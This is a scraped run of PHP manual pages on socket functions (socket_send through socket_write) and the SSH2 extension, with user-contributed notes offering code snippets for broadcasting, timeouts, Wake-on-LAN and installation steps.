                // send this to all the clients in the $clients array (except the first one, which is a listening socket)
                foreach ($clients as $send_sock) {

                    // if its the listening sock or the client that we got the message from, go to the next one in the list
                    if ($send_sock == $sock || $send_sock == $read_sock)
                        continue;

                    // write the message to the client -- add a newline character to the end of the message
                    socket_write($send_sock, $data."\n");

                } // end of broadcast foreach

            }

        } // end of reading foreach
    }

    // close the listening socket
    socket_close($sock);
?>
drenintell 01-May-2005 10:13
The continuation of my my previous post on 28-Apr-2005 10:19 at
http://ca3.php.net/manual/en/function.socket-select.php

Here it is: (Link is broken into 2 parts)

'http://gtkphp.org/php_socket_select_hangs
_explanation_and_solution.html'
Richard Neill 16-Sep-2004 06:37
It is probably a bad idea to watch an array of sockets for input with socket_select, and then socket_read() using PHP_NORMAL_READ.

Although this seems desirable, you can end up with a permanently blocked program, if someone sends you malformed input which is missing a trailing \n \r. Guess how I found that out.
calimero dot NOSPAM at NOSPAM dot creatixnet dot com 14-Feb-2003 01:36
Please note that the timeout parameter has important side-effects on the CPU usage of your script.

Setting the timeout to 0 will make your CPU looping without any time to have some rest and handle other running processes on your system, causing the system load to increase heavily while your script is running.

Personnaly, I use a value of 15 ms for this parameter. this ensures a good listening frequency while letting your system load clear.

Example :
$read = array($ListeningSocket);
$num_changed_sockets = socket_select($read, $write = NULL, $except = NULL, 0, 10);

Hope this helps.
daveb at optusnet dot com dot au 09-Sep-2002 06:27
If you haven't done any network programming before, PHP's socket_select() might appear a bit strange to you. I've written a simple php "partyline" script to demonstrate the multi-socket use of select'ing at http://dave.dapond.com/socketselect.php.txt
julian dot haupt at gmx dot de 09-Jul-2002 07:15
hello,
i just made a class which acts similiar to Perl's IO::Select in order to make socket selecting very easy

your script should look something like that:

<?php
$server = new Server;
$client = new Client;

for (;;) {
  foreach ($select->can_read(0) as $socket) {

    if ($socket == $client->socket) {
      // New Client Socket
      $select->add(socket_accept($client->socket));
    }
    else {
      //there's something to read on $socket
    }
  }
}
?>

you should of course implement some routines to detect broken sockets and remove them from the select object.

you can also do output buffering and check in the main-loop for sockets that are ready to write

<?php
class select {
  var $sockets;

  function select($sockets) {

    $this->sockets = array();

    foreach ($sockets as $socket) {
      $this->add($socket);
    }
  }

  function add($add_socket) {
    array_push($this->sockets,$add_socket);
  }

  function remove($remove_socket) {
    $sockets = array();

    foreach ($this->sockets as $socket) {
      if($remove_socket != $socket)
        $sockets[] = $socket;
    }

    $this->sockets = $sockets;
  }

  function can_read($timeout) {
    $read = $this->sockets;
    socket_select($read,$write = NULL,$except = NULL,$timeout);
    return $read;
  }

  function can_write($timeout) {
    $write = $this->sockets;
    socket_select($read = NULL,$write,$except = NULL,$timeout);
    return $write;
  }
}
?>


Sends data to a connected socket

  • « socket_select
  • socket_sendmsg »
  • PHP Manual
  • Socket Functions
  • Sends data to a connected socket

socket_send

(PHP 4 >= 4.1.0, PHP 5)

socket_send — Sends data to a connected socket

Description

int socket_send ( resource $socket , string $buf , int $len , int $flags )

The function socket_send() sends len bytes to the socket socket from buf.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

buf

A buffer containing the data that will be sent to the remote host.

len

The number of bytes that will be sent to the remote host from buf.

flags

The value of flags can be any combination of the following flags, joined with the binary OR (|) operator.

Possible values for flags
MSG_OOB | Send OOB (out-of-band) data.
MSG_EOR | Indicate a record mark. The sent data completes the record.
MSG_EOF | Close the sender side of the socket and include an appropriate notification of this at the end of the sent data. The sent data completes the transaction.
MSG_DONTROUTE | Bypass routing, use direct interface.

Return Values

socket_send() returns the number of bytes sent, or FALSE on error.

See Also

  • socket_sendto() - Sends a message to a socket, whether it is connected or not

User Contributed Notes

jo at edarta dot be 27-Mar-2008 03:00
In php-5.2.0, there's no MSG_EOF anymore. This is not even needed if you make sure you handle writes and close of sockets correctly.
KingOfDos 08-Nov-2005 04:41
I changed the Magic Packet function to this. I beleave that an function may not return any value, only an true/false (in the most way's).
<?PHP
function wol_magic_packet($mac,$addr='255.255.255.255') {
    //Requirements__________________________
    //    You need to load the php_sockets.dll (in case of Windows, don't
    //    know @ linux, compile with --socket-support i beleave ).
    //    Otherwise he cannot find the socket_create function
    //Usage________________________________
    //    $addr:
    //        You will send and broadcast tho this addres.
    //        Normaly you need to use the 255.255.255.255 adres, so i made it as default. So you don't need
    //        to do anything with this.
    //    $mac:
    //        You will WAKE-UP this WOL-enabled computer, you need to add the MAC-addres here.
    //
    //Return________________________________
    //    TRUE:    When socked was created succesvolly and the message has been send.
    //    FALSE:    Something went wrong
    //
    //Example_1_____________________________
    //    When the message has been send you will see the message "Done...."
    //
    //    if ( wol_magic_packet ( '00:00:00:00:00:00' ) )
    //        echo 'Done...';
    //    else
    //        echo 'Error while sending';
    //
    //Example_2_____________________________
    //    To loop more computers:
    //
    //    $arr = array(
    //        '00:00:00:00:00:00',
    //        '00:00:00:00:00:00'
    //    );
    //    foreach($arr as $this_id => $this_mac)
    //        if (! wol_magic_packet ( $this_mac ))
    //            echo 'Error while sending to ['. $this_mac .']<br />'."\r\n";
    //___________________________________________

    //Check if it's an real MAC-addres and split it into an array
    if (!preg_match("/([A-F0-9]{2}[-:]){5}[A-F0-9]{2}/",$mac,$maccheck))
        return false;
    $addr_byte = preg_split("/[-:]/",$maccheck[0]);

    //Creating hardware adress
    $hw_addr = '';
    for ($a=0; $a < 6; $a++)//Changing mac adres from HEXEDECIMAL to DECIMAL
        $hw_addr .= chr(hexdec($addr_byte[$a]));

    //Create package data
    $msg = str_repeat(chr(255),6);
    for ($a = 1; $a <= 16; $a++)
        $msg .= $hw_addr;

    //Sending data
    if ( //If
        function_exists('socket_create') AND //socket_create exists
        $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP) AND //Can create the socket
        $sock_data = socket_connect($sock, $addr, 2050) //Can connect to the socket
    ) {  //Then
        $sock_data = socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1); //Set
        $sock_data = socket_write($sock, $msg, strlen($msg)); //Send data
        socket_close($sock); //Close socket
        return true;
    } else //Esle? :P
        return false;
}
?>


Send a message

  • « socket_send
  • socket_sendto »
  • PHP Manual
  • Socket Functions
  • Send a message

socket_sendmsg

(PHP 5 >= 5.5.0)

socket_sendmsg — Send a message

Description

int socket_sendmsg ( resource $socket , array $message , int $flags )

Warning

This function is currently not documented; only its argument list is available.

Parameters

socket

message

flags

Return Values

See Also

  • socket_recvmsg() - Read a message
  • socket_cmsg_space() - Calculate message buffer size

User Contributed Notes

There are no user contributed notes for this page.


Sends a message to a socket, whether it is connected or not

  • « socket_sendmsg
  • socket_set_block »
  • PHP Manual
  • Socket Functions
  • Sends a message to a socket, whether it is connected or not

socket_sendto

(PHP 4 >= 4.1.0, PHP 5)

socket_sendto — Sends a message to a socket, whether it is connected or not

Description

int socket_sendto ( resource $socket , string $buf , int $len , int $flags , string $addr [, int $port = 0 ] )

The function socket_sendto() sends len bytes from buf through the socket socket to the port at the address addr.

Parameters

socket

A valid socket resource created using socket_create().

buf

The sent data will be taken from buffer buf.

len

len bytes from buf will be sent.

flags

The value of flags can be any combination of the following flags, joined with the binary OR (|) operator.

Possible values for flags
MSG_OOB | Send OOB (out-of-band) data.
MSG_EOR | Indicate a record mark. The sent data completes the record.
MSG_EOF | Close the sender side of the socket and include an appropriate notification of this at the end of the sent data. The sent data completes the transaction.
MSG_DONTROUTE | Bypass routing, use direct interface.

addr

IP address of the remote host.

port

port is the remote port number at which the data will be sent.

Return Values

socket_sendto() returns the number of bytes sent to the remote host, or FALSE if an error occurred.

Examples

Example #1 socket_sendto() Example

<?php
    $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);

    $msg = "Ping !";
    $len = strlen($msg);

    socket_sendto($sock, $msg, $len, 0, '127.0.0.1', 1223);
    socket_close($sock);
?>

See Also

  • socket_send() - Sends data to a connected socket

User Contributed Notes

DigitalHuman 23-May-2014 04:54
Does anyone have a clue if its possible to get the IP-address of the network interface that response to the broadcast command?

Cheers,

Victor
ole_DOT_omland_AT_gmail_DOT_com 13-Oct-2005 04:44
Here's how you can make an udp broadcast, useful sometimes, and does seem hard to figure out hwo to do..

<?php
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1);
socket_sendto($sock, $broadcast_string, strlen($broadcast_string), 0, '255.255.255.255', $port);
?>


Sets blocking mode on a socket resource

  • « socket_sendto
  • socket_set_nonblock »
  • PHP Manual
  • Socket Functions
  • Sets blocking mode on a socket resource

socket_set_block

(PHP 4 >= 4.2.0, PHP 5)

socket_set_block — Sets blocking mode on a socket resource

Description

bool socket_set_block ( resource $socket )

The socket_set_block() function removes the O_NONBLOCK flag on the socket specified by the socket parameter.

When an operation (e.g. receive, send, connect, accept, ...) is performed on a blocking socket, the script will pause its execution until it receives a signal or it can perform the operation.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 socket_set_block() example

<?php
$socket = socket_create_listen(1223);
socket_set_block($socket);

socket_accept($socket);
?>

This example creates a listening socket on all interfaces on port 1223 and sets the socket to O_BLOCK mode. socket_accept() will hang until there is a connection to accept.

See Also

  • socket_set_nonblock() - Sets nonblocking mode for file descriptor fd
  • socket_set_option() - Sets socket options for the socket

User Contributed Notes

There are no user contributed notes for this page.


Sets nonblocking mode for file descriptor fd

  • « socket_set_block
  • socket_set_option »
  • PHP Manual
  • Socket Functions
  • Sets nonblocking mode for file descriptor fd

socket_set_nonblock

(PHP 4 >= 4.1.0, PHP 5)

socket_set_nonblock — Sets nonblocking mode for file descriptor fd

Description

bool socket_set_nonblock ( resource $socket )

The socket_set_nonblock() function sets the O_NONBLOCK flag on the socket specified by the socket parameter.

When an operation (e.g. receive, send, connect, accept, ...) is performed on a non-blocking socket, the script will not pause its execution until it receives a signal or it can perform the operation. Rather, if the operation would result in a block, the called function will fail.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 socket_set_nonblock() example

<?php
$socket = socket_create_listen(1223);
socket_set_nonblock($socket);

socket_accept($socket);
?>

This example creates a listening socket on all interfaces on port 1223 and sets the socket to O_NONBLOCK mode. socket_accept() will immediately fail unless there is a pending connection exactly at this moment.

See Also

  • socket_set_block() - Sets blocking mode on a socket resource
  • socket_set_option() - Sets socket options for the socket

User Contributed Notes

kpobococ at gmail dot com 11-Sep-2009 04:46
Beware, when using this function within a loop (i.e. a demon with a socket). The socket_accept(), for example, emits a warning each time there is no incoming connection available to be read. My php error log file got huge in a matter of seconds, eventually crashing the server.

Of course, i used the @ before the function to take care of that problem.

[EDITOR: One can (and should) use socket_select to detect a new connection on a socket (it's a "readable" event)]


Sets socket options for the socket

  • « socket_set_nonblock
  • socket_shutdown »
  • PHP Manual
  • Socket Functions
  • Sets socket options for the socket

socket_set_option

(PHP 4 >= 4.3.0, PHP 5)

socket_set_option — Sets socket options for the socket

Description

bool socket_set_option ( resource $socket , int $level , int $optname , mixed $optval )

The socket_set_option() function sets the option specified by the optname parameter, at the specified protocol level, to the value pointed to by the optval parameter for the socket.

Parameters

socket

A valid socket resource created with socket_create() or socket_accept().

level

The level parameter specifies the protocol level at which the option resides. For example, to retrieve options at the socket level, a level parameter of SOL_SOCKET would be used. Other levels, such as TCP, can be used by specifying the protocol number of that level. Protocol numbers can be found by using the getprotobyname() function.

optname

The available socket options are the same as those for the socket_get_option() function.

optval

The option value.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 socket_set_option() example

<?php
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!is_resource($socket)) {
    echo 'Unable to create socket: '. socket_strerror(socket_last_error()) . PHP_EOL;
}

if (!socket_set_option($socket, SOL_SOCKET, SO_REUSEADDR, 1)) {
    echo 'Unable to set option on socket: '. socket_strerror(socket_last_error()) . PHP_EOL;
}

if (!socket_bind($socket, '127.0.0.1', 1223)) {
    echo 'Unable to bind socket: '. socket_strerror(socket_last_error()) . PHP_EOL;
}

$rval = socket_get_option($socket, SOL_SOCKET, SO_REUSEADDR);

if ($rval === false) {
    echo 'Unable to get socket option: '. socket_strerror(socket_last_error()) . PHP_EOL;
} else if ($rval !== 0) {
    echo 'SO_REUSEADDR is set on socket !' . PHP_EOL;
}
?>

User Contributed Notes

ckozler at kozler dot net 20-Mar-2012 04:06
It appears that Winsock does not acknowledge timeout (send and receive) on Windows.
DaveRandom 26-Nov-2010 01:13
Setting the socket timeout microseconds ('usec') does not work under Windows, at least under PHP/5.2.9:

<?php

  $timeout = array('sec'=>1,'usec'=>500000);
  socket_set_option($socket,SOL_SOCKET,SO_RCVTIMEO,$timeout);
  var_dump(socket_set_option($socket,SOL_SOCKET,SO_RCVTIMEO));

?>

Output on Windows box:

array(2) {
  ["sec"]=>
  int(1)
  ["usec"]=>
  int(0)
}

Output on Linux box:

array(2) {
  ["sec"]=>
  int(1)
  ["usec"]=>
  int(500000)
}
aeolianmeson at ifacfchi dot blitzeclipse dot com 27-Jun-2008 12:31
Lingering will sometimes not work when you're working with non-blocking sockets. Even if the socket is set to linger and you keep tying to close until the socket doesn't return an error and the resource is no longer identifiable as type 'Socket', the socket may STILL close without sending everything.

Therefore, in the event that you are using non-blocking sockets (which is preferable if you care at all about signaling), you should set the socket as blocking (socket_set_block()) before calling to close it. This will allow everything to flush before it returns.

Dustin Oprea
ludvig dot ericson at gmail dot com 21-Dec-2006 10:06
I would like to comment on the previous note regarding blocking sockets.
There is more to blocking sockets than waiting for data to be received when trying to be read upon, just to make example, a listening blocking socket will wait for a client to try to connect before it returns when you socket_accept() it.
drenintell 01-May-2005 02:19
To expand a bit more on what "tim at e2-media dot co dot nz" started.

SO_SNDTIMEO is one of the many constants you can use with socket_set_option.

See http://ca.php.net/manual/en/ref.sockets.php for the available Predefind Constants and visit http://man.he.net/man2/setsockopt for the meaning of the ones relevant.

Tim's example might seem at first a bit non-intuitive since he is using the SO_SNDTIMEO constant. Which means, if the socket has to send out data, it must do it within the limit specified - in his case 10 seconds. Usually you won't set a timeout for sending out data. Nevertheless, the example is valid, and there are situations where you need to do so.

A more intuitive use of socket_set_option would be to set a time out for a blocking socket (a socket that waits for data to be receive when read from). You would do this like so:

socket_set_option($socket,SOL_SOCKET, SO_RCVTIMEO, array("sec"=>0, "usec"=>100));

Notice that sec= 0 and usec= 100; Depending on how long you want your program to wait to recieve data, you might want to change these values.

Regards,
  drenintell
tim at e2-media dot co dot nz 17-May-2004 05:00
To set a socket timeout value (assuming you've set it blocking) use:

socket_set_option(
  $socket,
  SOL_SOCKET,  // socket level
  SO_SNDTIMEO, // timeout option
  array(
    "sec"=>10, // Timeout in seconds
    "usec"=>0  // I assume timeout in microseconds
    )
  );


Shuts down a socket for receiving, sending, or both

  • « socket_set_option
  • socket_strerror »
  • PHP Manual
  • Socket Functions
  • Shuts down a socket for receiving, sending, or both

socket_shutdown

(PHP 4 >= 4.1.0, PHP 5)

socket_shutdown — Shuts down a socket for receiving, sending, or both

Description

bool socket_shutdown ( resource $socket [, int $how = 2 ] )

The socket_shutdown() function allows you to stop incoming, outgoing or all data (the default) from being sent through the socket

Parameters

socket

A valid socket resource created with socket_create().

how

The value of how can be one of the following:

possible values for how
0 | Shutdown socket reading
1 | Shutdown socket writing
2 | Shutdown socket reading and writing

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

recycling dot sp dot am at gmail dot com 16-Sep-2010 06:09
Shutdown and SOL_TCP:
<?php
$a= socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_shutdown($a, 2)
?>
PHP Warning:  socket_shutdown(): unable to shutdown socket [107]: Transport endpoint is not connected

Shutdown and SOL_UDP:
<?php
$a= socket_create(AF_INET, SOCK_STREAM, SOL_UDP);
socket_shutdown($a, 2)
?>
PHP Warning:  socket_shutdown(): unable to shutdown socket [107]: Transport endpoint is not connected

Conclusion: if you are not actually connected, shutdown will fails with socket_error = 107, Transport endpoint is not connected. This is true for both TPC and UDP connection (which is suprising, UDP being a connectionless protocol). This is true no matter the value set for the how parameter.
richard dot thomas at psysolutions dot com 23-Nov-2005 07:20
That is not a good example of a graceful shutdown. One should close the sending side of the socket and continue to read until the remote end closes its sending connection.
ludvig dot ericson at gmail dot com 02-Sep-2005 10:13
Sockets should be first shutdown and then closed.
<?php
// Sample: Closing sockets gracefully
socket_shutdown($sock, 2);
socket_close($sock);
?>


Return a string describing a socket error

  • « socket_shutdown
  • socket_write »
  • PHP Manual
  • Socket Functions
  • Return a string describing a socket error

socket_strerror

(PHP 4 >= 4.1.0, PHP 5)

socket_strerror — Return a string describing a socket error

Description

string socket_strerror ( int $errno )

socket_strerror() takes as its errno parameter a socket error code as returned by socket_last_error() and returns the corresponding explanatory text.

Note:

Although the error messages generated by the socket extension are in English, the system messages retrieved with this function will appear depending on the current locale (LC_MESSAGES).

Parameters

errno

A valid socket error number, likely produced by socket_last_error().

Return Values

Returns the error message associated with the errno parameter.

Examples

Example #1 socket_strerror() example

<?php
if (false == ($socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
   echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
}

if (false == (@socket_bind($socket, '127.0.0.1', 80))) {
   echo "socket_bind() failed: reason: " . socket_strerror(socket_last_error($socket)) . "\n";
}
?>

The expected output from the above example (assuming the script is not run with root privileges):

socket_bind() failed: reason: Permission denied

See Also

  • socket_accept() - Accepts a connection on a socket
  • socket_bind() - Binds a name to a socket
  • socket_connect() - Initiates a connection on a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_create() - Create a socket (endpoint for communication)

User Contributed Notes

There are no user contributed notes for this page.


Write to a socket

  • « socket_strerror
  • SSH2 »
  • PHP Manual
  • Socket Functions
  • Write to a socket

socket_write

(PHP 4 >= 4.1.0, PHP 5)

socket_write — Write to a socket

Description

int socket_write ( resource $socket , string $buffer [, int $length = 0 ] )

The function socket_write() writes to the socket from the given buffer.

Parameters

socket

buffer

The buffer to be written.

length

The optional parameter length can specify an alternate length of bytes written to the socket. If this length is greater than the buffer length, it is silently truncated to the length of the buffer.

Return Values

Returns the number of bytes successfully written to the socket or FALSE on failure. The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual explanation of the error.

Note:

It is perfectly valid for socket_write() to return zero which means no bytes have been written. Be sure to use the === operator to check for FALSE in case of an error.

Notes

Note:

socket_write() does not necessarily write all bytes from the given buffer. It's valid that, depending on the network buffers etc., only a certain amount of data, even one byte, is written though your buffer is greater. You have to watch out so you don't unintentionally forget to transmit the rest of your data.

See Also

  • socket_accept() - Accepts a connection on a socket
  • socket_bind() - Binds a name to a socket
  • socket_connect() - Initiates a connection on a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_read() - Reads a maximum of length bytes from a socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

jean at briskula dot si 04-Feb-2011 12:00
Some clients (Flash's XMLSocket for example) won't fire a read event until a new line is recieved.

<?php
    /*
     * Write to a socket
     * add a newline and null character at the end
     * some clients don't read until new line is recieved
     *
     * try to send the rest of the data if it gets truncated
     */
    function write(&$sock,$msg) {
        $msg = "$msg\n\0";
        $length = strlen($msg);
        while(true) {
            $sent = socket_write($sock,$msg,$length);
            if($sent === false) {
                return false;
            }
            if($sent < $length) {
                $msg = substr($msg, $sent);
                $length -= $sent;
                print("Message truncated: Resending: $msg");
            } else {
                return true;
            }
        }
        return false;
    }
?>
revelable at hotmail dot com 21-Dec-2010 02:08
Here we have the same function to write a socket but with improved performance.

If the messager are not larger, they will be written entirely with a single socket_write() call. And is not needed to call the substr() function for the first bucle.

<?php
$st="Message to sent";
$length = strlen($st);

    while (true) {

        $sent = socket_write($socket, $st, $length);

        if ($sent === false) {

            break;
        }

        // Check if the entire message has been sented
        if ($sent < $length) {

            // If not sent the entire message.
            // Get the part of the message that has not yet been sented as message
            $st = substr($st, $sent);

            // Get the length of the not sented part
            $length -= $sent;

        } else {

            break;
        }

    }
?>
masterwaster at gmail dot com 26-Aug-2008 08:42
Hi,
if you got same problems like i have

<?php
@socket_write($xd, "Good Bye!\n\r");
@socket_shutdown($xd, 2);
@socket_close($xd);
?>

wont'tx send "Good Bye!\n\r" to the opened socket.

but if you put a
usleep or something like echo "";
between write and shutdown its working.
webmaster at you-are-infected dot com 23-Aug-2006 07:27
If you connect to a Server in a way like you do with telnet or some similar protokoll you may have problems with sending data to the server. I found out that at some servers there is a different between:

<?php

    socket_write ($my_socket, $line, strlen ($line));
    socket_write ($my_socket, "\r\n", strlen ("\r\n"));

?>
witch worked at least, and
<?php
    socket_write ($my_socket, $line."\r\n", strlen ($line."\r\n"));
?>
wich made the server stop sending any data.

I hope this helps to save a lot of time. I needed about two days to find out, that this was the problem ;)
gtk at linux dot online dot no 20-Aug-2002 01:43
from http://www.manualy.sk/sock-faq/unix-socket-faq-2.html
read() is equivalent to recv() with a flags parameter of 0. Other values for the flags parameter change the behaviour of recv(). Similarly, write() is equivalent to send() with flags == 0.


Secure Shell2

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • SSH2 Functions
    • ssh2_auth_agent — Authenticate over SSH using the ssh agent
    • ssh2_auth_hostbased_file — Authenticate using a public hostkey
    • ssh2_auth_none — Authenticate as "none"
    • ssh2_auth_password — Authenticate over SSH using a plain password
    • ssh2_auth_pubkey_file — Authenticate using a public key
    • ssh2_connect — Connect to an SSH server
    • ssh2_exec — Execute a command on a remote server
    • ssh2_fetch_stream — Fetch an extended data stream
    • ssh2_fingerprint — Retrieve fingerprint of remote server
    • ssh2_methods_negotiated — Return list of negotiated methods
    • ssh2_publickey_add — Add an authorized publickey
    • ssh2_publickey_init — Initialize Publickey subsystem
    • ssh2_publickey_list — List currently authorized publickeys
    • ssh2_publickey_remove — Remove an authorized publickey
    • ssh2_scp_recv — Request a file via SCP
    • ssh2_scp_send — Send a file via SCP
    • ssh2_sftp_chmod — Changes file mode
    • ssh2_sftp_lstat — Stat a symbolic link
    • ssh2_sftp_mkdir — Create a directory
    • ssh2_sftp_readlink — Return the target of a symbolic link
    • ssh2_sftp_realpath — Resolve the realpath of a provided path string
    • ssh2_sftp_rename — Rename a remote file
    • ssh2_sftp_rmdir — Remove a directory
    • ssh2_sftp_stat — Stat a file on a remote filesystem
    • ssh2_sftp_symlink — Create a symlink
    • ssh2_sftp_unlink — Delete a file
    • ssh2_sftp — Initialize SFTP subsystem
    • ssh2_shell — Request an interactive shell
    • ssh2_tunnel — Open a tunnel through a remote server

User Contributed Notes

zelnaga+php at gmail dot com 25-Feb-2009 09:45
if you're trying to connect to an ssh server in an environment where the ssh2 extension cannot be installed this pure-php implementation may be helpful:

http://phpseclib.sourceforge.net/documentation/net.html


Introduction

Bindings to the » libssh2 library which provide access to resources (shell, remote exec, tunneling, file transfer) on a remote machine using a secure cryptographic transport.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

The » OpenSSL and » libssh2 libraries are required. Ensure that the development libraries are installed, where a typical package name might be openssl-dev.

Version 1.2 or newer of the libssh2 library is required, although it's possible newer releases of pecl/ssh2 may require newer versions (see the release notes).

The ssh2_auth_agent() function will only be available with libssh >= 1.2.3.

support for stream_set_timeout() to channel streams will only be available with libssh >= 1.2.9.

Libssh2 comes in two flavours: gcrypt or openssl. Some linux distributions build libssh2 with the gcrypt library, some use openssl. Libssh2 has some issues when compiled with gcrypt, please use openssl.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/ssh2.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

zizifu at gmail dot com 28-Aug-2012 04:58
CentOS 6.2 64bit Installation Steps:

1. download the libssh2 package from http://libssh2.org, command as following:
tar vxzf libssh2-1.4.2.tar.gz
cd libssh2-1.4.2
./configure
make
make install

2. download the php-ssh2 package from http://pecl.php.net/package/ssh2:

tar vxzf ssh2-0.11.3
cd ssh2-0.11.3
phpize
./configure --with-ssh2
make
make install

and the ssh2.so file will copy into /usr/lib64/php/modules
check it.

3. modify the php.ini

vi /etc/php.ini

add the "extension=ssh2.so" to the extension part of php.ini

4. check the environment of php, use phpinfo();

5. enjoy
dreadwestern at gmail dot com 26-Jul-2012 11:47
Steps for installing the extension package on Debian systems:

> sudo apt-get install libssh2-php
> sudo /etc/init.d/apache2 restart
imedina at grosshat dot com 09-Dec-2010 11:09
Using PECL it must be specified the channel, since the beta version has to be choosen instead of stable one:

$ pecl install ssh2 channel://pecl.php.net/ssh2-version
chris at 3menandarecorder dot com 11-Sep-2008 09:28
To help someone avoid the headaches I did for a week. SSH2 functions have problems with the ssh2-beta & libssh2-0.18 even after patching with said patches on the internet.

ssh_exec will work fine
ssh2_shell will not work

In order to use ssh2_shell I had to roll back to libssh2-0.14 in order to get ssh2_shell function to work properly
arie dot mail at gmail dot com 10-Sep-2008 08:56
Just a little note: when compiling this package after modifying the ssh2.c, do not use pecl build as it will not create an ssh2.so file (although it says it succeeded), use:

phpize
./configure --with-ssh2
make

you then need to copy the ssh2.so file into your extension dir if it didn't do so already.


Runtime Configuration

This extension has no configuration directives defined in php.ini.

User Contributed Notes

abc at hotmail dot com 18-Jan-2010 10:42
You must add extension = ssh2.so to  your php.ini for this to work even though the documentation says there is no configuration directive required.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SSH2_FINGERPRINT_MD5 (integer)
Flag to ssh2_fingerprint() requesting hostkey fingerprint as an MD5 hash.
SSH2_FINGERPRINT_SHA1 (integer)
Flag to ssh2_fingerprint() requesting hostkey fingerprint as an SHA1 hash.
SSH2_FINGERPRINT_HEX (integer)
Flag to ssh2_fingerprint() requesting hostkey fingerprint as a string of hexits.
SSH2_FINGERPRINT_RAW (integer)
Flag to ssh2_fingerprint() requesting hostkey fingerprint as a raw string of 8-bit characters.
SSH2_TERM_UNIT_CHARS (integer)
Flag to ssh2_shell() specifying that width and height are provided as character sizes.
SSH2_TERM_UNIT_PIXELS (integer)
Flag to ssh2_shell() specifying that width and height are provided in pixel units.
SSH2_DEFAULT_TERM_WIDTH (integer)
Default terminal width requested by ssh2_shell().
SSH2_DEFAULT_TERM_HEIGHT (integer)
Default terminal height requested by ssh2_shell().
SSH2_DEFAULT_TERM_UNIT (integer)
Default terminal units requested by ssh2_shell().
SSH2_STREAM_STDIO (integer)
Flag to ssh2_fetch_stream() requesting STDIO subchannel.
SSH2_STREAM_STDERR (integer)
Flag to ssh2_fetch_stream() requesting STDERR subchannel.
SSH2_DEFAULT_TERMINAL (string)
Default terminal type (e.g. vt102, ansi, xterm, vanilla) requested by ssh2_shell().

User Contributed Notes

There are no user contributed notes for this page.


SSH2 Functions

Table of Contents

  • ssh2_auth_agent — Authenticate over SSH using the ssh agent
  • ssh2_auth_hostbased_file — Authenticate using a public hostkey
  • ssh2_auth_none — Authenticate as "none"
  • ssh2_auth_password — Authenticate over SSH using a plain password
  • ssh2_auth_pubkey_file — Authenticate using a public key
  • ssh2_connect — Connect to an SSH server
  • ssh2_exec — Execute a command on a remote server
  • ssh2_fetch_stream — Fetch an extended data stream
  • ssh2_fingerprint — Retrieve fingerprint of remote server
  • ssh2_methods_negotiated — Return list of negotiated methods
  • ssh2_publickey_add — Add an authorized publickey
  • ssh2_publickey_init — Initialize Publickey subsystem
  • ssh2_publickey_list — List currently authorized publickeys
  • ssh2_publickey_remove — Remove an authorized publickey
  • ssh2_scp_recv — Request a file via SCP
  • ssh2_scp_send — Send a file via SCP
  • ssh2_sftp_chmod — Changes file mode
  • ssh2_sftp_lstat — Stat a symbolic link
  • ssh2_sftp_mkdir — Create a directory
  • ssh2_sftp_readlink — Return the target of a symbolic link
  • ssh2_sftp_realpath — Resolve the realpath of a provided path string
  • ssh2_sftp_rename — Rename a remote file
  • ssh2_sftp_rmdir — Remove a directory
  • ssh2_sftp_stat — Stat a file on a remote filesystem
  • ssh2_sftp_symlink — Create a symlink
  • ssh2_sftp_unlink — Delete a file
  • ssh2_sftp — Initialize SFTP subsystem
  • ssh2_shell — Request an interactive shell
  • ssh2_tunnel — Open a tunnel through a remote server

User Contributed Notes

dan at novapulsar dot com 26-Oct-2007 08:06
you will have an issue transferring any file using ssh2_scp_send unless you send a dummy file after your real file, or preferably issue an

ssh2_exec ($connection, 'exit');

I was transferring hundreds of thousands of files in my prototype across multiple servers, and noticed that each file had a mismatched md5 hash and bytelength.

after a bit of research i learnt that this was a bug, and added the code above as suggested at pecl.php.net in the bugs section.

hopefully this helps someone who is getting partial file transfer that could ruin your whole app.
aeolianmeson at blitzeclipse dot com 17-Aug-2007 09:00
Some installations of PHP 5 may have a problem starting the SSH2 extension as a Windows' service. It just started happening to me today, spontaneously. I have PHP 5.2.2 (and have tried 5.2.3), on Apache 2.0.59 .

It turns out that it's an Apache problem. Even though I was given an error message when starting it, it still worked perfectly from the CLI. So, I commented it out in the
INI file again, and am just loading it using extension_loaded('ssh2') and dl('php_ssh2.dll') from within the script.
astribuncio at gmail dot com 31-Aug-2006 07:17
Installing on HPUX 11.11 cookbook

Just follow the install instructions on the man page and solved the problems as they appear

- when making libssh2
Problem related with /lib/pa20_64 and 64 bits library in 32 bits link
Edited the configure file  and changed
SHLIB_LDFLAGS="-b +vnocompatwarnings -L/lib/pa20_64"
to
SHLIB_LDFLAGS="-b +vnocompatwarnings -L/lib"

-when executing phpize
Problems with aclocal, autom4ke and m4
Installed automake, autoconf and m4

-when ./configuring the ssh2
Configure: error: libssh2 version >= 0.4 not found
